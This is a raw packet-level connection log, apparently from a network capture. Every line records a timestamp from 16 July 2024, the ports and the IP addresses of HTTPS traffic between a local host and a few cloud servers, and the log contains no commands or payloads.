Jul 16, 2024 13:07:04.498178005 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.498234987 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.501779079 CEST	49789	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.501791000 CEST	443	49789	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.503838062 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.503864050 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.503926039 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.504523993 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.504539967 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.514111042 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.597722054 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.597799063 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.597817898 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.597944021 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.597944975 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.598066092 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.599647999 CEST	49791	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.599662066 CEST	443	49791	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.640635014 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.640664101 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.640717983 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.640763044 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.640780926 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.640818119 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.642081976 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.642092943 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.642117977 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.642154932 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.642198086 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.642659903 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.642668962 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.642705917 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.642724037 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.642771959 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.642792940 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.642834902 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.644033909 CEST	49792	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.644049883 CEST	443	49792	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.647926092 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.665242910 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.665261984 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.666416883 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.666695118 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.666731119 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.666785002 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.667360067 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.667438030 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.667567968 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.667656898 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.667669058 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.668035984 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.668226004 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.668251038 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.668339014 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.670361996 CEST	49790	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.670377016 CEST	443	49790	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.671392918 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.678364992 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.678386927 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.678904057 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.679270983 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.679332972 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.679481030 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.705758095 CEST	443	49718	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:04.705822945 CEST	443	49718	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:04.705872059 CEST	49718	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:07:04.718102932 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.720501900 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.733757019 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.738771915 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.784004927 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.787708998 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.798216105 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.798409939 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.798466921 CEST	49793	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.827248096 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.832184076 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.832254887 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.832278013 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.832406998 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.833266020 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.852034092 CEST	49798	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.852051973 CEST	443	49798	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.860423088 CEST	49793	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.860444069 CEST	443	49793	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.861633062 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.861643076 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.862051010 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.862062931 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.862123013 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.862560987 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.864864111 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.864934921 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.865236998 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.865302086 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:04.866460085 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:04.866478920 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:04.866564989 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:04.866591930 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.061187983 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.061196089 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.061211109 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.061281919 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.061299086 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.061429977 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.061467886 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.069605112 CEST	49799	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.069618940 CEST	443	49799	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.077738047 CEST	49718	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:07:05.077756882 CEST	443	49718	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:05.078661919 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.078686953 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.078757048 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.080694914 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.094106913 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.094120026 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.094671965 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.094686031 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.094691038 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.099246025 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.099384069 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.099519014 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.099544048 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.116065979 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.116224051 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.116467953 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.118380070 CEST	49801	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.118396997 CEST	443	49801	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.173909903 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.173954010 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.174021006 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.174755096 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.174786091 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.224648952 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.225205898 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.225214958 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.225569963 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.226267099 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.226327896 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.226444960 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.226465940 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.226474047 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.230070114 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.230087996 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.230185986 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.230499983 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.230515003 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.268805027 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.268836021 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.268902063 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.268942118 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.268949986 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.268985033 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.268987894 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.269026041 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.269748926 CEST	49803	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.269764900 CEST	443	49803	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.273880959 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.273905993 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.273988962 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.274264097 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.274276018 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.361411095 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.361435890 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.361483097 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.361510038 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.362588882 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.362987041 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.367315054 CEST	49800	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.367332935 CEST	443	49800	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.470628977 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.470717907 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.470777988 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.470786095 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.470818043 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.470863104 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.471818924 CEST	49805	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.471836090 CEST	443	49805	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.477607012 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.477636099 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.477891922 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.478136063 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.478147984 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.671471119 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.674046993 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.674056053 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.674582958 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.675261974 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.675404072 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.675467014 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.675493956 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.675501108 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.740377903 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.761913061 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.761980057 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.762482882 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.763807058 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.763889074 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.764185905 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.764229059 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.818958044 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.838247061 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.838265896 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.838581085 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.839773893 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.839946985 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.839976072 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.840056896 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.844120026 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.844207048 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.844217062 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.844230890 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.844276905 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.848473072 CEST	49806	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:05.848499060 CEST	443	49806	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:05.863178015 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.863617897 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.863651037 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.864892006 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.865448952 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.865626097 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:05.865889072 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.892790079 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:05.912507057 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.021927118 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.021991014 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.022185087 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.022207022 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.022285938 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.022526026 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.037220955 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:06.037367105 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.037470102 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:06.037497997 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.037549019 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.037585974 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.037661076 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:06.037729025 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:06.037794113 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.037825108 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:06.037877083 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:06.038075924 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.038142920 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.039580107 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.087528944 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.127835989 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.127846003 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.128931999 CEST	49808	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:06.129002094 CEST	443	49808	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:06.131788015 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.131874084 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.131880999 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.131923914 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.133644104 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.133845091 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.134114027 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.134121895 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.138823986 CEST	49810	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.138832092 CEST	443	49810	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.140916109 CEST	49814	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.140928030 CEST	443	49814	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.185386896 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.529654980 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.529686928 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.529756069 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.529768944 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.529849052 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.530071974 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.533592939 CEST	49815	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:06.533605099 CEST	443	49815	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:06.653116941 CEST	49828	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:06.653141975 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:06.653270006 CEST	49828	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:06.663917065 CEST	49828	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:06.663928032 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.226336002 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.227005959 CEST	49828	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.227019072 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.227523088 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.228044033 CEST	49828	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.228118896 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.228389978 CEST	49828	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.228419065 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.691638947 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.691828012 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.692012072 CEST	49828	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.692363024 CEST	49828	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.692375898 CEST	443	49828	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.712703943 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.712726116 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.712888002 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.713426113 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.713442087 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.721883059 CEST	49846	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.721914053 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:07.722160101 CEST	49846	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.722346067 CEST	49846	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:07.722361088 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.282195091 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.282609940 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.282629967 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.283773899 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.284193039 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.284365892 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.284816027 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.284866095 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.284912109 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.284924030 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.285058975 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.299204111 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.299555063 CEST	49846	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.299578905 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.299921989 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.300209999 CEST	49846	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.300266027 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.300674915 CEST	49846	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.300704002 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.473659992 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.473865986 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.473942041 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.474582911 CEST	49841	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.474600077 CEST	443	49841	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.543211937 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.543374062 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.543523073 CEST	49846	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.552876949 CEST	49846	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.552901030 CEST	443	49846	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.718549013 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.718581915 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.718641996 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.720056057 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:08.720067978 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:08.750684023 CEST	49858	443	192.168.2.5	52.108.11.12
